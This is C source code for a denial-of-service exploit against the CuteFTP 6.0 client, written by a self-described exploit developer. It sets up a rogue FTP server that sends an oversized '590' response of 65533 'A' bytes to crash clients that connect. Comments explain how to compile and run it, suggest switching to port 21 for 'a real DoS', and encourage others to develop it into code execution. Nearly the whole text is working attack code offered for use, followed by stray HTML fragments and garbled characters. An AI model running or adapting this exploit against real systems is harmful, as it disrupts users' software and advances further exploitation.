/* Team priestmasters cute-ftp 6.0 denial of service exploit */ /* I wrote this denial of service exploit for other vuln-developers */ /* (exploit-coder). You can use this DoS as a starting part for your */ /* own research. I cannot exploit this bug. One byte is overwritten */ /* by a user supplied value, but I do not know which code use this */ /* byte. After this RaiseException() is called by the application. */ /* No registers try to read or write from a user supplied address. */ /* It results in a "MOV ESI,DWORD PTR DS:[ECX+8]". ESI is set to */ /* 0x0000FFFA (not user supplied) and it isn't a read/writeable */ /* address. DS:[ECX+8] also points to nothing. I tried to exploit this */ /* bug on a German Windows XP Professional with SP1 */ /* */ /* The executable was: cuteftppro.exe /* /* ftpte.exe is also used, but it isn't affected by the overflow I */ /* think. */ /* */ /* Homepage: http://www.priestmaster.org */ /* Email: priest@priestmaster.org */ //////////////// // How to use this exploit?: // Compile it with your windows C compiler (I used lcc compiler): // "lc cuteftpexpl.c" (I have used lcc compiler, but cl (Visual C++ // should also work with little modifications). // // Run with: // cuteftpexpl.exe // Now cuteftpexpl listens on port 12345 and wait for connections. // (12345 only for testing. Use port 21 if you want to use it as // a real DoS.). Now start cute-ftp 6.0 and connect to your host on // specified port. Cute ftp will crash :-) If it doesn't work, set // SMBUFSIZ to a higher value. // I hope, that a very smart hacker exploit this bug. I'm not good // in windows exploitation :-( (but I will become a good win-exploiter :-) // // greets, // // priestmaster #include #include #include // Minimum size for overflow with 0x41 is 65533 #define SMBUFSIZ 65533 // Send buffer size #define RMBUFSIZ 256 // Receive buffer size #define PORTNUM 12345 // listener port number #define VCHAR 0x41 // Prototypes int startWinsock(void); // The fun starts here :-) int main() { // for for :-) int i; // Socket handle long rc; // Overflow buffer char sbuf[SMBUFSIZ]; // send buffer char rbuf[RMBUFSIZ]; // receive buffer // Socket and socket address SOCKET acceptSocket; SOCKET connectedSocket; SOCKADDR_IN addr; // Start winsocks rc=startWinsock(); // Error occured ? if(rc!=0) { printf("Error: startWinsock, error code: %d\n",rc); return 1; } else { printf("Winsock started!\n"); } // creat socket acceptSocket=socket(AF_INET,SOCK_STREAM,0); // Accept connections if(acceptSocket==INVALID_SOCKET) { printf("Error: cannot create socket, error code: %d\n",WSAGetLastError()); return 1; } else { printf("Socket created!\n"); } // ip or dns-name memset(&addr,0,sizeof(SOCKADDR_IN)); // TCP/IP socket addr.sin_family=AF_INET; // Port number 12345 addr.sin_port=htons(PORTNUM); // All clients allowed addr.sin_addr.s_addr=ADDR_ANY; // bind socket to port and check for errors rc=bind(acceptSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN)); if(rc==SOCKET_ERROR) { printf("Error: bind, error code: %d\n",WSAGetLastError()); return 1; } else { printf("Socket listens port 12345\n"); } // Maximum connections is 10. Listen port 12345 // and check for errors rc=listen(acceptSocket,10); if(rc==SOCKET_ERROR) { printf("Error: listen, errorcode: %d\n",WSAGetLastError()); return 1; } else { printf("acceptSocket is in listen mode....\n"); } // Accept and wait for connections connectedSocket=accept(acceptSocket,NULL,NULL); if(connectedSocket==INVALID_SOCKET) { printf("Error: accept, error code: %d\n",WSAGetLastError()); return 1; } else { printf("Accept connection !!!\n"); } // Set the whole buffer to VCHAR memset(sbuf, VCHAR, SMBUFSIZ); // Error code greater than 500 is needed for overflow sbuf[0] = '5'; sbuf[1] = '9'; sbuf[2] = '0'; sbuf[3] = ' '; // Add newline and terminate sbuf[SMBUFSIZ-2] = '\n'; sbuf[SMBUFSIZ-1] = 0x00; // Send response and receive request rc=send(connectedSocket,sbuf,strlen(sbuf),0); rc=recv(connectedSocket,sbuf,256,0); return 0; } // Start winsocks int startWinsock(void) { WSADATA wsa; return WSAStartup(MAKEWORD(2,0),&wsa); }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>


<span id="7ztzv"></span><form id="7ztzv"></form>


<span id="7ztzv"></span>
    

      

        <address id="7ztzv"></address>
            

ÑÇÖÞÅ·ÃÀÔÚÏß